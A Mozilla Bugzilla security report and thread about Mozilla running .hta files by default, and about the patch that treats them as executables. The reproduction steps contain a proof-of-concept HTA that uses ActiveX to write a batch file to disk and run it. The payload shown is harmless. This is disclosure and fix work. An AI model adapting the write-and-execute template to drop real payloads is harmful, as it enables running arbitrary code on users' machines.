Closed
Bug 220257
Opened 21 years ago
Closed 21 years ago
Mozilla favors writing/executing on harddisk, using .hta files
Categories
(Core Graveyard :: File Handling, defect)
Tracking
(Not tracked)
RESOLVED
FIXED
mozilla1.6alpha
People
(Reporter: berndheinze69, Assigned: Biesinger)
Details
(Keywords: fixed1.4.2, fixed1.5, Whiteboard: [sg:fix])
Attachments
(1 file)
1.15 KB,
patch
|
darin.moz
:
review+
bzbarsky
:
superreview+
brendan
:
approval1.4.2+
asa
:
approval1.5+
|
Details | Diff | Splinter Review |
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.4) Gecko/20030624
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.4) Gecko/20030624
Due to a bug in Internet Explorer .hta files can write and execute files on the
harddisk. When Mozilla loads a hta file the first time it asks the user what to
do with it, and defaults to run and don't ask again. Most users that don't know
what hta is and that don't know about the bug in Internet Explorer will hit OK
because they think it's safe. I also thought that Mozilla is safe regarding bugs
like this, but a dialer that installed automatically on my system prove me wrong.
Reproducible: Always
Steps to Reproduce:
1. Create the following file test.hta on your harddisk:
<html><head><hta:application id=hta_note_id
applicationName=hta_note_name
showInTaskBar=no
caption=no
innerBorder=no
selection=no
scroll=no
contextmenu=no />
<script language=javascript>
window.resizeTo(0, 0);
window.moveTo(0, 0);
</script>
</head>
<body>
<script language=vbscript>
h0 = "pause"
</script>
<script language=javascript>
var fs = new ActiveXObject('Scripting.FileSystemObject');
var ts = fs.CreateTextFile("c:\\test.bat", true, false);
ts.Write(h0);
ts.Close();
var wsh = new ActiveXObject('WScript.Shell');
wsh.Run("c:\\test.bat");
window.close();
</script></body></html>
2. Drag file into Mozilla
3. a) If it's the first time Mozilla loads an application/hta file a windows
will pop up what to do, wich defaults to run, and don't ask again. Click OK
b) if there is already an entry for application/hta Mozilla do what is speicfied
(probably the default setting)
4. Enjoy the message
Actual Results:
Program on harddisk that can do anything. Delete data, spy out passwords
Expected Results:
Mozilla should treat application/hta files like .exe files. Don't ask, don't
run, just save them on harddisk. The user can run them manually if he really
wants to.
Assignee | ||
Comment 1•21 years ago
|
||
ok... taking
Assignee: file.handling → cbiesinger
Status: UNCONFIRMED → NEW
Ever confirmed: true
Assignee | ||
Comment 2•21 years ago
|
||
Assignee | ||
Updated•21 years ago
|
Attachment #132136 -
Flags: superreview?(darin)
Attachment #132136 -
Flags: review?(dougt)
Reporter | ||
Comment 3•21 years ago
|
||
Thank you for working so quickly on this bug. I looked at the patch and to me it
seemed like it only checkes the file extension. Does that mean that this link
still works?
http://www.heise.de/security/dienste/browsercheck/demos/ie/htaalert.php
This link seems like a (harmless) php-File but is in reality a (harmless)
exploit delivered as "application/hta".
Assignee | ||
Comment 4•21 years ago
|
||
No, that doesn't work either. The checked file extension is the final one, which
is also .hta in this example.
Assignee | ||
Updated•21 years ago
|
Status: NEW → ASSIGNED
Target Milestone: --- → mozilla1.6alpha
Comment 5•21 years ago
|
||
Comment on attachment 132136 [details] [diff] [review]
patch
sr=bzbarsky
Attachment #132136 -
Flags: superreview?(darin) → superreview+
Updated•21 years ago
|
Attachment #132136 -
Flags: review?(dougt) → review+
Assignee | ||
Comment 6•21 years ago
|
||
Checking in nsLocalFileWin.cpp;
/cvsroot/mozilla/xpcom/io/nsLocalFileWin.cpp,v <-- nsLocalFileWin.cpp
new revision: 1.108; previous revision: 1.107
done
Status: ASSIGNED → RESOLVED
Closed: 21 years ago
Resolution: --- → FIXED
Assignee | ||
Comment 7•21 years ago
|
||
Comment on attachment 132136 [details] [diff] [review]
patch
would be nice to get this security fix into 1.5 and 1.4.2, too...
it just makes it so that .hta files are also considered executable, should be
very low risk.
Attachment #132136 -
Flags: approval1.5?
Attachment #132136 -
Flags: approval1.4.2?
Reporter | ||
Comment 8•21 years ago
|
||
Is it already too late for 1.4.1?
Assignee | ||
Comment 9•21 years ago
|
||
to my knowledge, it is.
Updated•21 years ago
|
Flags: blocking1.5?
Flags: blocking1.4.2?
Comment 10•21 years ago
|
||
I think this should get fixed on the 1.4 branch. I'm recommending it for 1.5
also, but I'll let another driver mark the bug blocking1.5.
/be
Flags: blocking1.4.2? → blocking1.4.2+
Comment 11•21 years ago
|
||
Comment on attachment 132136 [details] [diff] [review]
patch
a=asa (on behalf of drivers) for checkin to the 1.5 branch.
Attachment #132136 -
Flags: approval1.5? → approval1.5+
Assignee | ||
Comment 12•21 years ago
|
||
looks like brendan already checked this into the 1.5 branch
Keywords: fixed1.5
Comment 13•21 years ago
|
||
Yes, sorry -- thought I updated this bug (I switched machines and may have left
a bugzilla login screen up).
/be
Updated•21 years ago
|
Flags: blocking1.5?
Comment 15•21 years ago
|
||
Comment on attachment 132136 [details] [diff] [review]
patch
Please check into the 1.4 branch.
/be
Attachment #132136 -
Flags: approval1.4.2? → approval1.4.2+
Assignee | ||
Comment 16•21 years ago
|
||
fixed on 1.4 branch
Checking in nsLocalFileWin.cpp;
/cvsroot/mozilla/xpcom/io/nsLocalFileWin.cpp,v <-- nsLocalFileWin.cpp
new revision: 1.102.2.2; previous revision: 1.102.2.1
done
Keywords: fixed1.4
Assignee | ||
Updated•21 years ago
|
Keywords: fixed1.4 → fixed1.4.2
Updated•21 years ago
|
Whiteboard: [sg:fix]
Updated•8 years ago
|
Product: Core → Core Graveyard
You need to log in
before you can comment on or make changes to this bug.
Description
•